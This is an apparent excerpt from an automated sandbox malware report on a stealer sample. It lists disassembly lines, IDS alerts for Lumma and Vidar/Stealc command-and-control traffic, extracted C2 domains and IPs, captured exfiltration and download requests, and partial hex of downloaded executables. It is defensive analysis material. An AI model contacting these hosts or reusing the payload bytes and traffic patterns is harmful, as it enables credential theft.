Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+00000874h] 15_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [edx], ax 15_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh 15_2_00444590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-14h] 15_2_00445643
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, byte ptr [esi+ebx] 15_2_00405680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 15_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 15_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+0Ch] 15_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 15_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-14h] 15_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [esp+14h], 12EEEC16h 15_2_0042E7F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 15_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], cx 15_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 15_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+0Ch] 15_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h 15_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah 15_2_00449A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 15_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 15_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+000006A8h] 15_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 15_2_0040DBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then xor eax, eax 15_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 15_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh 15_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 15_2_00414C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh 15_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx eax, word ptr [esi+ecx] 15_2_00440D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [edi+eax+01h], 00000000h 15_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp eax 15_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h 15_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], dx 15_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp dword ptr [00450078h] 15_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ebx], al 15_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi] 15_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 15_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], cx 15_2_00425EF0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.5:60755 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.5:64089 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.5:56030 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.5:63091 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.5:61898 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.5:64263 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49751 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.5:61600 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.5:49748 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.5:49749 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.5:49750 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.5:49754 -> 172.67.208.139:443
Source: Network traffic Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49746 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.5:49753 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.5:49745 -> 45.132.206.251:80
Source: Network traffic Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.5:64788 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.5:49715 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.5:49717
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.5:49716
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49746 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49749 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49746 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49754 -> 172.67.208.139:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49751 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49749 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49751 -> 172.67.162.108:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49750 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49757 -> 172.67.189.2:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49757 -> 172.67.189.2:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49750 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49748 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49748 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49754 -> 172.67.208.139:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49753 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49753 -> 188.114.96.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: gutterydhowi.shop
Source: Malware configuration extractor URLs: drawzhotdog.shop
Source: Malware configuration extractor URLs: ghostreedmnu.shop
Source: Malware configuration extractor URLs: vozmeatillu.shop
Source: Malware configuration extractor URLs: stogeneratmns.shop
Source: Malware configuration extractor URLs: offensivedzvju.shop
Source: Malware configuration extractor URLs: fragnantbui.shop
Source: Malware configuration extractor URLs: reinforcenh.shop
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199780418869
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 16:01:00 GMTContent-Type: application/octet-streamContent-Length: 26112Last-Modified: Wed, 25 Sep 2024 14:57:44 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f424e8-6600"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 03 70 14 f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 5c 00 00 00 08 00 00 00 00 00 00 be 7b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 7b 00 00 53 00 00 00 00 80 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 5b 00 00 00 20 00 00 00 5c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 86 05 00 00 00 80 00 00 00 06 00 00 00 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 7b 00 00 00 00 00 00 48 00 00 00 02 00 05 00 74 43 00 00 f4 37 00 00 03 00 02 00 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 28 00 00 0a 2a 2e 73 09 00 00 06 80 07 00 00 04 2a 1a 28 33 00 00 06 2a 32 02 7b 09 00 00 04 28 14 00 00 06 2a 32 02 7b 0a 00 00 04 28 1a 00 00 06 2a 36 02 7c 0c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 10 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 13 00 00 04 03 28 34 00 00 0a 2a 52 02 73 45 00 00 0a 25 6f 46 00 00 0a 18 60 6f 47 00 00 0a 2a 46 02 28 48 00 00 0a 28 49 00 00 0a 28 09 00 00 2b 2a 86 03 6f 4d 00 00 0a 25 3a 03 00 00 00 26 16 2a 28 4e 00 00 0a 02 7b 19 00 00 04 1b 6f 4f 00 00 0a 2a 5a 02 7b 20 00 00 04 72 af 02 00 70 28 01 00 00 06 28 5a 00 00 0a 2a 32 02 7b 22 00 00 04 28 3d 00 00 0a 2a 36 02 7c 24 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 28 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 2c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 34 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 37 00 00 04 03 28 34 00 00 0a 2a 2e 28 67 00 00 0a 28 18 00 00 2b 2a a6 72 15 03 00 70 28 01 00 00 06 80 3a 00 00 04 72
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 16:01:03 GMTContent-Type: application/octet-streamContent-Length: 377384Last-Modified: Wed, 25 Sep 2024 14:55:57 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f4247d-5c228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 76 23 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 ee b0 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 b0 05 00 57 00 00 00 00 c0 05 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 9c 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 5c af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 90 05 00 00 20 00 00 00 92 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 05 00 00 00 c0 05 00 00 06 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 9a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 b0 05 00 00 00 00 00 48 00 00 00 02 00 05 00 c0 9e 05 00 9c 10 00 00 03 00 02 00 13 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d d0 0c ca ae e4 f6 a2 5c 3d e1 dd 1c e6 94 08 e1 9e 18 53 8e a6 a6 21 d5 7d 10 53 99 74 d0 9f fd 0b 26 91 50 d5 69 40 cf fa 32 1e f9 9d 5e 06 2d e8 d4 cb a4 34 d2 4e 7f cd 10 aa 97 5e 49 47 ca 58 10 43 3a 2c fc 9f 3c 4a d4 cc fa 17 0f a4 49 7b 79 5d 63 66 34 73 91 d6 e5 1d 4f af 88 1a 18 dc 29 11 c4 3b 1b 78 6f 7a f7 cb ed a9 9f da 16 ed 64 69 06 30 61 34 59 93 5a ba f1 17 79 52 86 b5 00 ba 37 55 e1 00 07 0f 38 66 80 b6 bf 1a 64 a4 4c ff 2a c2 65 bc 71 11 37 31 b9 43 57 fa 42 6d 4b 0f 1a ef dd 4c 96 24 66 d4 b0 27 c7 d7 80 b0 04 e4 e4 01 4f 36 f3 cd 2c 2d 42 1f 68 28 a9 a9 11 80 1d 6c f3 d4 c0 cc 7f b9 0c 7d b7 48 c9 c6 37 c6 24 a0 d0 be fd ef 0f 24 0d 71 ba be 8f 88 a9 79 05 a4 c2 ac 83 62 8e ff 96 40 1e 67 e3 40 86 42 5b f5 94 31 0d 2b 14 a5 93 a3 73 03 ff 14 e5 eb ad fb a0 49 db 72 5a 6f 0e 64 ba 8d 08 b0 64 88 5d 58 8c f3 15 1c fa f0 07 f8 8e 36 08 18 a5 0b 19 89 c0 66 bb f3 48 d7 f7 3d 2
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 172.67.189.2 172.67.189.2
Source: Joe Sandbox View IP Address: 172.67.162.108 172.67.162.108
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
May check the online IP address of the machine
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49714 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49716 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49715 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49718 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49717 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49713 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49719 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49721 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49720 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49722 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49723 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49724 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49725 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49726 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49728 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49727 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49729 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49735 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49732 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49734 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49731 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49730 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49737 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49739 -> 5.75.211.162:443
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49736 -> 147.45.44.104:80
Source: Network traffic Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49742 -> 5.75.211.162:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
